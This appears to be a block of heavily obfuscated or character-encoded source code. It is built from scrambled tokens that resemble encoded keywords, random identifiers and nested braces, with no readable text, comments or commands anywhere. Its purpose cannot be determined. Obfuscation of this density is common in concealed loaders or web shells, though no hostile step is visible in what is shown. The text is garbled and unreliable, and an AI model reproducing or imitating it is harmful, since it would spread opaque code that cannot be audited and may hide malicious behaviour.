<ukC/jmfl}em~f{4-///55<=!!<<<<<<,5<<8x~xiy,v~tzqk<<!<<<ukC/jmfl}em~f{4-///5<<2<ukC/jmfl}em~f{4-/+/548x~xiy,v~tzqk0<;3;5'<8~C(tyhttzes$.<<<!<;3;'<<<uz<4~~t*pewxp%lxrp.4./))54ukC/jmfl}em~f{4./--555<<<<<g<<<<<<8j($ou/)qC%<<<!<4ohnur{5<<<<<ukC/jmfl}em~f{4./)*54tsqyCinp450<<LTLCINPCL]HT5'<<<<<<uz<<<<48j($ou/)qC%<=!!<<<<<>><<::<<<<8j($ou/)qC%<=!!<<;3;5<8~C(tyhttzes$.<<<<<!<<<~~t*pewxp%lxrp.4./)+548j($ou/)qC%0<;3;5<<<2<<;3;'<<<<<<<<a<<<<<<<uz<<<<4fe/qwoyysxh4./))54fe/qwoyysxh4./-(555<g<<\ilx}hyCslhusr4fe/qwoyysxh4)*$50<<-0<ukC/jmfl}em~f{4..(,55'<<<<\ilx}hyCslhusr4~~t*pewxp%lxrp.4.//,50<8x~xiy,v~tzqk0<fe/qwoyysxh4..(,55'<a<<<<8oydjf%,xd+zp<<!<<<<u{n~xs$r(~%zo4./)$5<<2<8pi(qdjvevd~mf.k<<<<2<<;";2<~~t*pewxp%lxrp.4./)%5<<<<<2<fe/qwoyysxh4.///5<<2<<<<<8xjz.,+k$z.j-in4ukC/jmfl}em~f{4.//(55<<2<<<<ukC/jmfl}em~f{4./*,52<<<~~t*pewxp%lxrp.4./*-5<<<2<<<~~t*pewxp%lxrp.4./*.5<<2<<8xjz.,+k$z.j-in4~~t*pewxp%lxrp.4./*/55<<<2<<u{n~xs$r(~%zo4./*(5<<<2<<fe/qwoyysxh4./*)548x~xiy,v~tzqk5<<<<2<<;5;<2<<ukC/jmfl}em~f{4./**5<<<<<2<<<8xjz.,+k$z.j-in4u{n~xs$r(~%zo4./*+55<2<<u{n~xs$r(~%zo4./*(5<2<~~t*pewxp%lxrp.4./*)548x~xiy,v~tzqk5<<<2<<ukC/jmfl}em~f{4./*$5<2<fe/qwoyysxh4./*)548~C(tyhttzes$.5<<2<<fe/qwoyysxh4./*%5<<2<<<<8xjz.,+k$z.j-in4u{n~xs$r(~%zo4./+,55<<<<2<<<ukC/jmfl}em~f{4./+-52<<fe/qwoyysxh4./+.5<<<<2<<8xjz.,+k$z.j-in4fe/qwoyysxh4./+/55<<2<<ukC/jmfl}em~f{4./+(5<<<2<<<<<fe/qwoyysxh4./*.5<2<<<8xjz.,+k$z.j-in4u{n~xs$r(~%zo4./+)55<<2<<~~t*pewxp%lxrp.4./+*5<<<<<2<<<<8xjz.,+k$z.j-in4ukC/jmfl}em~f{4./++55<<<2<<~~t*pewxp%lxrp.4./+$5<<2<fe/qwoyysxh4./+%5<<2<8xjz.,+k$z.j-in4u{n~xs$r(~%zo4./$,55<<<<<2<~~t*pewxp%lxrp.4./$-5<<2<<<~~t*pewxp%lxrp.4./$.5<<<<<<2<<~~t*pewxp%lxrp.4./*.5<2<<<8xjz.,+k$z.j-in4~~t*pewxp%lxrp.4./$/55<2<<<<~~t*pewxp%lxrp.4./$(5<<<2<fe/qwoyysxh4./$)5<2<<<8xjz.,+k$z.j-in4fe/qwoyysxh4./(-55<2<u{n~xs$r(~%zo4./$*5<<2<<<<8xjz.,+k$z.j-in4~~t*pewxp%lxrp.4./$+55<<2<u{n~xs$r(~%zo4./$$5<<<2<<~~t*pewxp%lxrp.4./)/5'yts<<<<<>@r><<2<8oydjf%,xd+zp<<<<<<2<<>@r>'<<a<<}ht<<<<<4Htnsk}~py<<<8phr-l)~h-C.5<<<<g<<<swd(~($..Cxnwiox}epi4u{n~xs$r(~%zo4./$%50<8phr-l)~h-C.5'<<<<<a<<<<<<}ht<4Ydylhusr<<8phr-l)~h-C.5<<<<<<g<<<swd(~($..Cxnwiox}epi4fe/qwoyysxh4./$%50<<8phr-l)~h-C.5'<<a<<<a<<uz<<4v~$xm$-k-fr*lm{}455<<<<<<g<nyhinr'<<ayvdkqj{Cs-p{nfs45'<8v}kudt+C}zts<!<<<<\fe/qwoyysxh4./%,54n-*%o%~y,f,/qj,455'<uz<<<4=8v}kudt+C}zts<<``<48v}kudt+C}zts<9<<4,d/~7,d-+}*)55<<=!!<<<<lnvdf(p*x*qv(.j455<<g<<<<<<8wxiurz)uw}{e/<!<<u{n~xs$r(~%zo4./-+545'<<<<<<,,w(t++iruCd/$e{hxh4n-*%o%~y,f,/qj,450<<<<<48wxiurz)uw}{e/<<1<<<<<48wxiurz)uw}{e/<<9<4%%%)%7(-555<7<<<<lnvdf(p*x*qv(.j455'<<<iroyh48wxiurz)uw}{e/5'a<<<<<iroyh48v}kudt+C}zts5'<hne<g8irjfi+d}v{ts{kd$<!<CCZUPYCC'<8i+/{.ewxq~h<<!<<>>'<<8hp{n},.r/x<<<<!<<\u{n~xs$r(~%zo4./%-548irjfi+d}v{ts{kd$0<<z}poy0<<ripp0<<<<,0<<4*.(.1.-(*55'<uz<<4fe/qwoyysxh4./..548hp{n},.r/x5<<::<<~~t*pewxp%lxrp.4..(-54ukC/jmfl}em~f{4-%%-50<8hp{n},.r/x0<<<<8ylw$oo{iov~pe/55<<8i+/{.ewxq~h<<!<<8ylw$oo{iov~pe/G-A'<<<<uz<48i+/{.ewxq~h<=!!<<<<>><<::<<<xyzuryx4ukC/jmfl}em~f{4./%.555<<<<<g8q{}C}}~}l}pt<<!<<<}nn}e45'<<<8xy,xl~s}%o<!<xyzuryx4u{n~xs$r(~%zo4-**+55<<<<<<#<KLQICLPI[URCXUN<<&<<<<<KLC_SRHYRHCXUN<<<<2<<u{n~xs$r(~%zo4-%+%5'<8r(qnhdx$vl<<!<<xyzuryx4u{n~xs$r(~%zo4$.$55<<<#<<<<KLCLPI[URCXUN<<&<<KLC_SRHYRHCXUN<2<<<~~t*pewxp%lxrp.4-**$5'<8p-~%+sqzl,ytj}oq<<<!<z}poy'<<<uz<<4fe/qwoyysxh4./))54u{n~xs$r(~%zo4./%/555<<<<g<8Cdwhih+-(qC<<<<<<!<<<<<<\~~t*pewxp%lxrp.4-%$.548xy,xl~s}%o5<<#<<<\~~t*pewxp%lxrp.4./%/548xy,xl~s}%o<<<<<2<<<<<fe/qwoyysxh4**.55<<&<z}poy'<<<8{uthhe$vozkv<!<<<\u{n~xs$r(~%zo4./%(548r(qnhdx$vl<2<<<fe/qwoyysxh4-%$/55'<<<uz<4~~t*pewxp%lxrp.4./%)548Cdwhih+-(qC5<``<<u{n~xs$r(~%zo4./%*548{uthhe$vozkv55<<g<8p-~%+sqzl,ytj}oq<<<<<!<<<hniy'zsny}t<<<44}nn}e5<<<8Cdwhih+-(qC<<}o<<8tjdne%,p)zCm(/ot5<<<<<8q{}C}}~}l}ptGA<<<<!<<8tjdne%,p)zCm(/ot'<<zsny}t<<44}nn}e5<<8{uthhe$vozkv<<<<<<}o<<<<<8tjdne%,p)zCm(/ot5<8q{}C}}~}l}ptGA<<!<<8tjdne%,p)zCm(/ot'a<<<iroyh48Cdwhih+-(qC0<<<<8{uthhe$vozkv5'<<a<<uz<<<<4=8p-~%+sqzl,ytj}oq5<g<<<<8y$$fy{,epn,<!<\u{n~xs$r(~%zo4-%$.548xy,xl~s}%o5<<#<<i.o-i/tr+)y+tot}omwi48xy,xl~s}%o5<&<<<z}poy'<<<<<<<uz<<<<<4~~t*pewxp%lxrp.4./%*548y$$fy{,epn,55<<<zsny}t<48y$$fy{,epn,<<<}o<8xp~oqdky,qpon5<<<<g<<<<<<uz<<<4~~t*pewxp%lxrp.4./%+548xp~oqdky,qpon0<<14*1.55<!!!<<<<u{n~xs$r(~%zo4...+55<<<<8q{}C}}~}l}ptGA<<!<<8xy,xl~s}%o<<2<<;3;<<<<<<2<<<<<8xp~oqdky,qpon'a<<<<<<<8y$$fy{,epn,<<<<!<<\u{n~xs$r(~%zo4-%$.548r(qnhdx$vl5<<<<#<<i.o-i/tr+)y+tot}omwi48r(qnhdx$vl5<<<<&<z}poy'<<<uz<<4fe/qwoyysxh4./%$548y$$fy{,epn,55<zsny}t<<<48y$$fy{,epn,<<<<}o<<<<8xp~oqdky,qpon5<g<<<<8d%C.)xpfk)<<<!<<<8r(qnhdx$vl<<<2<<<;3;<<2<8xp~oqdky,qpon'<uz<<4=\fe/qwoyysxh4./%%548d%C.)xpfk)55<srhuriy'8riiz$)empemC/<!<<i.o-i/tr+)y+tot}omwi48d%C.)xpfk)5'<<<<<<uz<4=ukC/jmfl}em~f{4./%$548riiz$)empemC/55<<<srhuriy'zsny}t<<<48riiz$)empemC/<<<}o<<<8},voq~tnd-5<<g<uz<<4~~t*pewxp%lxrp.4.(,,548},voq~tnd-0<<<<14,d.7,d.55<<!!!<<<<<u{n~xs$r(~%zo4...+55<8q{}C}}~}l}ptGA<<<!<<<<8d%C.)xpfk)<<2<<<<<;3;<<2<8},voq~tnd-'<<<<<<a<a<<iroyh48y$$fy{,epn,0<8xp~oqdky,qpon0<8},voq~tnd-0<<<<8d%C.)xpfk)0<<<<<<8riiz$)empemC/5'a<<<<<<<<8jqln~fvp~tq,s(yi<<<!<<<<<u{n~xs$r(~%zo4-%%)548irjfi+d}v{ts{kd$0<<ukC/jmfl}em~f{4.(,-55'<<<<<<zsny}t<<<48q{}C}}~}l}pt<<}o<8tjdne%,p)zCm(/ot5<<g<<<uz<<48tjdne%,p)zCm(/ot<<<!!!<8irjfi+d}v{ts{kd$5<<srhuriy'<<8j(p{to(+o{ejw.uv<<!<<<\u{n~xs$r(~%zo4.(,.548tjdne%,p)zCm(/ot5'<<uz<<<<<4=8j(p{to(+o{ejw.uv<<``<<48j(p{to(+o{ejw.uv<<9<<<<4-,/)(.1/)(.55<=!!<<4,d~),z7,d~%*55<<g8tr%,wvCzi)f<<!<<<\u{n~xs$r(~%zo4.(,/548tjdne%,p)zCm(/ot5'<<<<<<uz<<<<4=8tr%,wvCzi)f<<``<<8tr%,wvCzi)f< <<4(7(%*5<<<<<``<8tr%,wvCzi)f<<"<<<<<<4).(.$+-$7$.55<<srhuriy'<<<<a<8hp{n},.r/x<<!<<\ukC/jmfl}em~f{4./%-548tjdne%,p)zCm(/ot0<<<z}poy0<ripp0<<,0<4,d%(+7,d*~%55'<<<<<<<uz<4=u{n~xs$r(~%zo4./..548hp{n},.r/x5<``<ukC/jmfl}em~f{4.(,(548hp{n},.r/x0<<ukC/jmfl}em~f{4-%$%55<<!!!<<z}poy5<<<srhuriy'<<uz<4=ukC/jmfl}em~f{4.(,)54~~t*pewxp%lxrp.4-%%-50<8hp{n},.r/x0<8ylw$oo{iov~pe/55<<<<srhuriy'<<<<uz<<<<4u{n~xs$r(~%zo4-%%)548tjdne%,p)zCm(/ot0<u{n~xs$r(~%zo4.(,-55<<<!!!<8jqln~fvp~tq,s(yi<<::<<<<8ylw$oo{iov~pe/G-A<<!!!<8i+/{.ewxq~h5<<<<<g<<uz<<4=r+j)f.i)s+k+tdn48tjdne%,p)zCm(/ot55<<<<<<g<<<<<<<uz<4tn+pj)fv,~kiCwl.48tjdne%,p)zCm(/ot0<8tjdne%,p)zCm(/ot<<2<u{n~xs$r(~%zo4-%$55<<<::<<<<<<u{n~xs$r(~%zo4./))54ukC/jmfl}em~f{4.(,*555<\sl}tyCurj}pux}hy48tjdne%,p)zCm(/ot0<hniy5'<<<a<srhuriy'<a<<<<<uz<4jynousrCsql}ny48ylw$oo{iov~pe/G-A0<<8i+/{.ewxq~h0<<<; ;55<<<g<<<8ry(slt))$l<!<<<<io{dmw{(}y({+nlev{u{p48tjdne%,p)zCm(/ot5'<<<uz<48ry(slt))$l<<<<!!!<<<<<z}poy5<<<g<swd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4.(,+50<<<<<ukC/jmfl}em~f{4-%%.5<<<<<2<u{n~xs$r(~%zo4.(,$548tjdne%,p)zCm(/ot55'<<srhuriy'<<<<<auz<48ry(slt))$l<<<<!!!<hniy5<<g<<uz<<<<4tn+pj)fv,~kiCwl.48tjdne%,p)zCm(/ot0<<8tjdne%,p)zCm(/ot<2<<<u{n~xs$r(~%zo4.(,%555<<g<<<<<<<<uz<<4ukC/jmfl}em~f{4./))54fe/qwoyysxh4.(,*555<\sl}tyCurj}pux}hy48tjdne%,p)zCm(/ot0<<<hniy5'<a<<<<\~~t*pewxp%lxrp.4++-54fe/qwoyysxh4.,%+548tjdne%,p)zCm(/ot5<<<2<<<<u{n~xs$r(~%zo4+%%5<<<<2<<fe/qwoyysxh4.(-,548tjdne%,p)zCm(/ot0<<<~~t*pewxp%lxrp.4.(--555'srhuriy'<<<a<<\fe/qwoyysxh4++-548tjdne%,p)zCm(/ot5'<\~~t*pewxp%lxrp.4++-54ukC/jmfl}em~f{4.,%+548tjdne%,p)zCm(/ot5<<<2<u{n~xs$r(~%zo4.(-.5<<2<<ukC/jmfl}em~f{4.(-,548tjdne%,p)zCm(/ot0<<u{n~xs$r(~%zo4.(--555'8k/,CeiCdrk!*)+/'8poj+u/(dqjlx~q!8k/,CeiCdrk9+'<<uz<4u{n~xs$r(~%zo4./))54u{n~xs$r(~%zo4.(,*555<\sl}tyCurj}pux}hy48tjdne%,p)zCm(/ot0<<hniy5'<<srhuriy'<<a8ki.ro)pf-kyn~wi<<<<<<!<<4ukC/jmfl}em~f{4.(-,54u{n~xs$r(~%zo4.(-/548tjdne%,p)zCm(/ot55<<!!!<<<<fe/qwoyysxh4.(-(5<``<<fe/qwoyysxh4.(-/548tjdne%,p)zCm(/ot5<<<<<!!!<<8xy,xl~s}%o5'<<<uz<<4=8ki.ro)pf-kyn~wi<<::<<<<<u{n~xs$r(~%zo4./))54fe/qwoyysxh4.(-)555<<g<<<<<<<<8yxuz/%d~vesyi<!<ukC/jmfl}em~f{4.(-,54u{n~xs$r(~%zo4.(-*548tjdne%,p)zCm(/ot55<<<2<<;3;<<2<<<u{n~xs$r(~%zo4.(-+548tjdne%,p)zCm(/ot5'<8td*jvm/y-y%unym<<<!<4}nn}e5<<\{yhCslhusr4fe/qwoyysxh4...*50<<}nn}e455'<<<<<8ki.ro)pf-kyn~wi<<<!<<ukC/jmfl}em~f{4...)548yxuz/%d~vesyi0<8td*jvm/y-y%unym0<<hniy5'<uz<<<4=8ki.ro)pf-kyn~wi<::<<<fe/qwoyysxh4.(-$54~~t*pewxp%lxrp.4..+55<<<<<<::<<uoCqiphuouhy45<::<fe/qwoyysxh4.(-$54~~t*pewxp%lxrp.4..%555<<g8n)z(%-f*n$$lz<!<<<<<4}nn}e5<<\{yhCouhyCslhusr4ukC/jmfl}em~f{4.(-%50<<}nn}e455'<<<8ki.ro)pf-kyn~wi<<<!<uooyh48n)z(%-f*n$$lzG8yxuz/%d~vesyiA5'<iroyh48n)z(%-f*n$$lz5'<a<<<<<<iroyh48yxuz/%d~vesyi0<<<8td*jvm/y-y%unym5'<<<a<uz<<4=8ki.ro)pf-kyn~wi5<srhuriy'<uz<<4jynousrCsql}ny48ylw$oo{iov~pe/G-A0<<<<8i+/{.ewxq~h0<;";55<g<<uz<<<<<4r+j)f.i)s+k+tdn48tjdne%,p)zCm(/ot5<<<<::<<=jvrq,mk{msz)nr48tjdne%,p)zCm(/ot55<<nyhinr'8zhnxyoypiwfp<!<<<<fe/qwoyysxh4.(.,548tjdne%,p)zCm(/ot5<2<<<<<fe/qwoyysxh4.(.-5<<2<<<u{n~xs$r(~%zo4..+/548tjdne%,p)zCm(/ot5'<uz<4\ukC/jmfl}em~f{4..//548zhnxyoypiwfp5<<<<::<<<4urh5<\fe/qwoyysxh4.(,.548zhnxyoypiwfp5<<<< <~~t*pewxp%lxrp.4./-+545<1<<<<4-)7()55<<g<8}nq%xeh+*h<<<<<!<<~~t*pewxp%lxrp.4.(..54;`;0<<<<4ohnur{5<\u{n~xs$r(~%zo4./%-548zhnxyoypiwfp55'<<uz<<<4u{n~xs$r(~%zo4.(./548}nq%xeh+*h5< <.<<``<8}nq%xeh+*hG,A<=!!<8ylw$oo{iov~pe/G-A<<<<<``<4urh5<8}nq%xeh+*hG-A<=!!<4urh5<<<<<\fe/qwoyysxh4.(,/548tjdne%,p)zCm(/ot55<<<g<<<<\ukC/jmfl}em~f{4.(.(548zhnxyoypiwfp5'srhuriy'auz<<4io{dmw{(}y({+nlev{u{p48tjdne%,p)zCm(/ot5<<<<=!!<z}poy5<<<g<<<mmhy/nCplvkizofojuy48tjdne%,p)zCm(/ot0<<4,d$$7,d--55'<<<<<<uz<<4uepno,inmjey/mr48tjdne%,p)zCm(/ot55<<g<<<<<<\fe/qwoyysxh4.(.(548zhnxyoypiwfp5'uz<4~~t*pewxp%lxrp.4.(.)54ukC/jmfl}em~f{4.(,*555<<<\sl}tyCurj}pux}hy48tjdne%,p)zCm(/ot0<<<hniy5'<<a<a<<srhuriy'<<a<\ukC/jmfl}em~f{4.(.*548zhnxyoypiwfp0<8ylw$oo{iov~pe/G-A<<<<2<;`;<2<<4urh5<<<<\fe/qwoyysxh4.(.+548tjdne%,p)zCm(/ot55'<<<<<srhuriy'<<<a<<<uz<<<<<<48ylw$oo{iov~pe/G-A<<!!!<<8i+/{.ewxq~h5<<g<8fz~s+.fw/dz{u{i<<<!<hpd$o-t}{d$~k*(45'8fhe/,(mhw{w~!.--,'8fnndvkoipr!8fhe/,(mhw{w~9)'<<<<8h%mi/kyfwvh-m<!<z}poy'<uz<4=yqlhe48fz~s+.fw/dz{u{iG~~t*pewxp%lxrp.4.(.$5A55<<<<<g<8t$x-fnj}f}(d)qk<<!<<\u{n~xs$r(~%zo4-%$$548fz~s+.fw/dz{u{iG~~t*pewxp%lxrp.4.(.$5A5'<8pmuw.d$,<<<!<<\~~t*pewxp%lxrp.4-%$$548tjdne%,p)zCm(/ot5'<uz<4u{n~xs$r(~%zo4./..548t$x-fnj}f}(d)qk5<<<<<::<u{n~xs$r(~%zo4./..548pmuw.d$,5<<<<::<<<<<<8t$x-fnj}f}(d)qk<!!!<<8pmuw.d$,<::<<<i-ly.}jrizd+48fz~s+.fw/dz{u{i5<<<<!!!<fe/qwoyysxh4-+)-5<<<<<<::<<<r+j)f.i)s+k+tdn48tjdne%,p)zCm(/ot55<nyhinr'<<<<uz<<4~~t*pewxp%lxrp.4./..548t$x-fnj}f}(d)qk5<<<::<<<<8t$x-fnj}f}(d)qk<!!!<\u{n~xs$r(~%zo4.(.%548irjfi+d}v{ts{kd$55<8h%mi/kyfwvh-m<<<<!<hniy'a<uz<4=8h%mi/kyfwvh-m<::<<<<<=r+j)f.i)s+k+tdn48tjdne%,p)zCm(/ot55<<g8f+(lrxr~fphy!/7)('8pwvu-hifpne!8f+(lrxr~fphy1.('<uz<<4jvrq,mk{msz)nr48tjdne%,p)zCm(/ot5<<<<``<<io{dmw{(}y({+nlev{u{p48tjdne%,p)zCm(/ot5<=!!<<<<z}poy5<<<<<guz<<<4tn+pj)fv,~kiCwl.48tjdne%,p)zCm(/ot0<<<<8tjdne%,p)zCm(/ot<2<<<<<<u{n~xs$r(~%zo4.(,%55<<<::<~~t*pewxp%lxrp.4.(/,54fe/qwoyysxh4.(,*555<<\sl}tyCurj}pux}hy48tjdne%,p)zCm(/ot0<<<<<hniy5'<airoyh48fz~s+.fw/dz{u{i0<<8h%mi/kyfwvh-m0<<8t$x-fnj}f}(d)qk0<<8pmuw.d$,5'srhuriy'<<<<<a<<<<<<uz<<<4=8h%mi/kyfwvh-m<<::<<fe/qwoyysxh4.(,,54u{n~xs$r(~%zo4..+/54u{n~xs$r(~%zo4.(-+548tjdne%,p)zCm(/ot0<u{n~xs$r(~%zo4.(/-5550<<,0<4.7-,55<<<<"<<<fe/qwoyysxh4.(/.54~~t*pewxp%lxrp.4.(//548jqln~fvp~tq,s(yi50<,0<4/  .555<<<nyhinr'<<<<iroyh48fz~s+.fw/dz{u{i0<8h%mi/kyfwvh-m0<8t$x-fnj}f}(d)qk0<8pmuw.d$,5'<aa<<<<a<iroyh48irjfi+d}v{ts{kd$0<<8i+/{.ewxq~h0<8hp{n},.r/x0<<<<8ylw$oo{iov~pe/0<8q{}C}}~}l}pt0<<<8xy,xl~s}%o0<<8r(qnhdx$vl0<<8tjdne%,p)zCm(/ot0<<<<8j(p{to(+o{ejw.uv0<8jqln~fvp~tq,s(yi0<<8tr%,wvCzi)f0<8ry(slt))$l0<<<<<<8zhnxyoypiwfp0<<<8}nq%xeh+*h5'<<<<<a<<}ht<4Htnsk}~py<<<8phr-l)~h-C.5<<ga<<<}ht<4Ydylhusr<<8phr-l)~h-C.5<ga<<<<<<uz<<<4uooyh48[PS^]POGukC/jmfl}em~f{4.(/(5A55<g<<<<uz<<4jynousrCsql}ny44ohnur{5<<8[PS^]POG~~t*pewxp%lxrp.4.(/)5A0<k{~w}fh$fk{*s}r}*k/z+h450<<fe/qwoyysxh4.(/*555<<<nyhinr'8[PS^]POGfe/qwoyysxh4.(/+5A<<<!<<<<<-'a<<ypoyuz<4xyzuryx4fe/qwoyysxh4.(/$555<<g8wwl%qzmyf%<<<<!<<<<sroh}rh4fe/qwoyysxh4.(/$55'8fd~qrdo.j}(ik!1('8vfdxypnxdnnw!48fd~qrdo.j}(ik",5#8fd~qrdo.j}(ik&18fd~qrdo.j}(ik'uz<4ukC/jmfl}em~f{4./..548wwl%qzmyf%5<<<<::<<u{n~xs$r(~%zo4.(,)54u{n~xs$r(~%zo4-*)$50<<<8wwl%qzmyf%5<<::<<<<jynousrCsql}ny48wwl%qzmyf%0<<<k{~w}fh$fk{*s}r}*k/z+h450<<<<ukC/jmfl}em~f{4.(/*555<nyhinr'<8[PS^]POGukC/jmfl}em~f{4.(/%5A<<!<-'<iroyh48wwl%qzmyf%5'<<<a33<urlih<j}pux}husr<<<<<<<8[PS^]POGukC/jmfl}em~f{4.(/)5A<<<<!<k{~w}fh$fk{*s}r}*k/z+h45'<<<<uz<<4~~t*pewxp%lxrp.4.(/,54~~t*pewxp%lxrp.4-$-555<\py}noh}h}ty4hniy0<<<<n-*%o%~y,f,/qj,455'<8[PS^]POG~~t*pewxp%lxrp.4-$,5A<<<<<<!<4ohnur{5<<\~~t*pewxp%lxrp.4.(.+54n-*%o%~y,f,/qj,455<<<<2<<<<<;&;<<<2<<4ohnur{5<<<\u{n~xs$r(~%zo4.(,.54n-*%o%~y,f,/qj,455'uz<<<<4=xyzuryx4u{n~xs$r(~%zo4.(/$555<<<xyzury4fe/qwoyysxh4.(/$50<k{~w}fh$fk{*s}r}*k/z+h455'<<<uz<<4=xyzuryx4~~t*pewxp%lxrp.4.((,555<<<<<xyzury4fe/qwoyysxh4.((,50<<<k{~w}fh$fk{*s}r}*k/z+h455'r*)l/j%$%n}/k~{e{}p.%4~~t*pewxp%lxrp.4.((-55'<<<<<<<f*fkdiCjjtoxu-l,x~++zf4n-*%o%~y,f,/qj,455'<uz<<4fe/qwoyysxh4.(/,54~~t*pewxp%lxrp.4.((.55<<<<<::<<ukC/jmfl}em~f{4.(/,54~~t*pewxp%lxrp.4.((/555<g<<<<hne<<g<<<<<8ku+zjz{+elsC<<!<iC}s%rysj$jew(osth,,r45'<<<<<<<<<<uz<<<4\~~t*pewxp%lxrp.4./%%548ku+zjz{+elsC55<g33<KL<NYOH<]LU<j.&<psw<ymiuj}pyry1p}oo8sjod(}rwx$Cn}t<!<<<uw$ot){/i$d)iedupm%e45'<8k}xk%x$f%j,rmvvC<<!<i.o-i/tr+)y+tot}omwi48ku+zjz{+elsC5'<<uz<4u{n~xs$r(~%zo4./%$548k}xk%x$f%j,rmvvC55<g<<<<zsny}t<48k}xk%x$f%j,rmvvC<}o<<<<<8ssf(.)*rr/d(5<guz<<48ssf(.)*rr/d(<<<!!!<8sjod(}rwx$Cn}t5<<srhuriy'<<<uz<<4fe/qwoyysxh4++54u{n~xs$r(~%zo4$..548ssf(.)*rr/d(0<<<sroh}rh4fe/qwoyysxh4.(((5555<<<=!!<u{n~xs$r(~%zo4-.)-55<srhuriy'<8jntk$+.}~{o,<!<<8ku+zjz{+elsC<<<2<;3;<2<8ssf(.)*rr/d('<<uz<<<4\~~t*pewxp%lxrp.4..//548jntk$+.}~{o,5<::<\ukC/jmfl}em~f{4.(.+548jntk$+.}~{o,5<"<<<4(%*(7/*5<::<<dy%uCykpkoxw/zj48jntk$+.}~{o,0<<4,d%-$7,d}+,555<g<xfCus)epd-zo{}u48jntk$+.}~{o,5'<<<<<aa<a<a<<a<<<}ht<<<<4Htnsk}~py<8phr-l)~h-C.5<<<g33<LTLIruh<-,&<lnsvyhujy1}xv<oyoousr1helyswd(~($..Cxnwiox}epi4u{n~xs$r(~%zo4.(.50<<<<<8phr-l)~h-C.5'<<<<<a<<}ht<4Ydylhusr<<<8phr-l)~h-C.5<g33<urohnihusr<lsurhyn<<a<<<<a33<\olupp<sn~uh<<<<<<uz<<<<<<4=<<<}}eij/-n%/Cf}~-r$fyq455<g<{e.wp,ojx,/fijw~4fe/qwoyysxh4$%%50<<u{n~xs$r(~%zo4.(()50<<-5'<a<<<<<<8[PS^]POGfe/qwoyysxh4$*$5A<!<<<<}nn}e45'<<<8[PS^]POGfe/qwoyysxh4($.5A<<!<}nn}e45'<<<<<<<<<<<8[PS^]POGukC/jmfl}em~f{4./.(5A<!<>>'<<<<<uz<<<<4ukC/jmfl}em~f{4.(/,54~~t*pewxp%lxrp.4.((*555<<<<<<g<<<<<<<<u{n~xs$r(~%zo4.((+54ukC/jmfl}em~f{4.(($55'8{nqd{wt-/}yf$y!+/)$'8euidzf%r!8{nqd{wt-/}yf$y9-('<~~t*pewxp%lxrp.4.((+54u{n~xs$r(~%zo4.((%55'<a<<<<<<8dm~zv{)r}/m,,<<<!<<<~~t*pewxp%lxrp.4.(.,54n-*%o%~y,f,/qj,455<<<<2<<<<<<~~t*pewxp%lxrp.4-+*.5<<2<<<u{n~xs$r(~%zo4.(),54n-*%o%~y,f,/qj,450<<<<ukC/jmfl}em~f{4.(/-55'8w*wCx*%((s${!LTLCQ]VSNCJYNOUSR'8n)r%/xlmq$m!8w*wCx*%((s${6)'<uz<<4\u{n~xs$r(~%zo4..//548dm~zv{)r}/m,,55<<<<<g8s{tpm)tt)$*n~(+f<<<!<<<ukC/jmfl}em~f{4.()-544ohnur{5<\fe/qwoyysxh4.().548dm~zv{)r}/m,,55'8Crkk$+e,r%}ott<<<!<<<j{/}xm~rr}si/e.45'<<uz<48s{tpm)tt)$*n~(+f<<<<!!!<<<<>><<<<``<8s{tpm)tt)$*n~(+f<<=!!<<8Crkk$+e,r%}ott5<uepno,inmjey/mr48dm~zv{)r}/m,,5'<iroyh48s{tpm)tt)$*n~(+f0<<<<<8Crkk$+e,r%}ott5'<<a<hne<<<<g<<<<<\~~t*pewxp%lxrp.4.-54~~t*pewxp%lxrp.4.()/54n-*%o%~y,f,/qj,455<2<~~t*pewxp%lxrp.4.()(5<<2<<<ukC/jmfl}em~f{4.(),54n-*%o%~y,f,/qj,450<<ukC/jmfl}em~f{4.())555'<<8}mC%d/-n(kxz,e,d<<<<!<<<<<u{n~xs$r(~%zo4.()*5<2<j{/}xm~rr}si/e.45'<zsny}t<<<<<4}nn}e4~~t*pewxp%lxrp.4.()/54n-*%o%~y,f,/qj,4550<<iC}s%rysj$jew(osth,,r455<}o<<<8skC~zqiem.$+h5<g<<uz<4\ukC/jmfl}em~f{4..//548skC~zqiem.$+h<<<2<<<;3;<<2<<<<<8}mC%d/-n(kxz,e,d55<<<<<\~~t*pewxp%lxrp.4.()+548skC~zqiem.$+h<<<<2<<;3;<<2<8}mC%d/-n(kxz,e,d5'a<<<<<<<iroyh48}mC%d/-n(kxz,e,d0<<8skC~zqiem.$+h5'<<<a<<<<<<}ht<<<4Htnsk}~py<<8phr-l)~h-C.5<g<<<a<<}ht<<4Ydylhusr<<<<8phr-l)~h-C.5<<<<ga<<<<<<iroyh48dm~zv{)r}/m,,5'<<<<<<<<<<{e.wp,ojx,/fijw~4u{n~xs$r(~%zo4%,-50<<<<<fe/qwoyysxh4.()$50<<<<,5'<<<{e.wp,ojx,/fijw~4ukC/jmfl}em~f{4%,-50<<~~t*pewxp%lxrp.4.()%50<<<,5'<{e.wp,ojx,/fijw~4u{n~xs$r(~%zo4.(*,50<<<<<fe/qwoyysxh4.()$50<,5'<{e.wp,ojx,/fijw~4ukC/jmfl}em~f{4.(*-50<<u{n~xs$r(~%zo4.()$50<,5'<<{e.wp,ojx,/fijw~4ukC/jmfl}em~f{4.(*-50<<<<<<fe/qwoyysxh4.(*.50<<<<.5'<<<{e.wp,ojx,/fijw~4ukC/jmfl}em~f{4.(*-50<<<u{n~xs$r(~%zo4.(*/50<<<4./)B./.55'<{e.wp,ojx,/fijw~4u{n~xs$r(~%zo4.(*-50<<<u{n~xs$r(~%zo4.(*(50<<4.7.55'{e.wp,ojx,/fijw~4~~t*pewxp%lxrp.4$%%50<<ukC/jmfl}em~f{4.(*)50<4-7(55'<<w/xynC{,)k%+$yx){4~~t*pewxp%lxrp.4.(**50<<<u{n~xs$r(~%zo4.(*+50<4-(,B-/(50<<<-5'w/xynC{,)k%+$yx){4~~t*pewxp%lxrp.4.(*$50<<~~t*pewxp%lxrp.4.(*+50<<4.,,B-%(50<-5'<w/xynC{,)k%+$yx){4u{n~xs$r(~%zo4.(*%50<<fe/qwoyysxh4.(+,50<<4+7/50<<<<<<-5'<<w/xynC{,)k%+$yx){4u{n~xs$r(~%zo4.(+-50<<ukC/jmfl}em~f{4.(+,50<4.7$50<<-5'<<<<w/xynC{,)k%+$yx){4u{n~xs$r(~%zo4.(+.50<<<fe/qwoyysxh4.(+/50<<<4--+7$$.50<<4/(B//55'<<{e.wp,ojx,/fijw~4u{n~xs$r(~%zo4.(+(50<<<<ukC/jmfl}em~f{4.(+)50<<<<<<4/-(7*$)50<.5'<<<<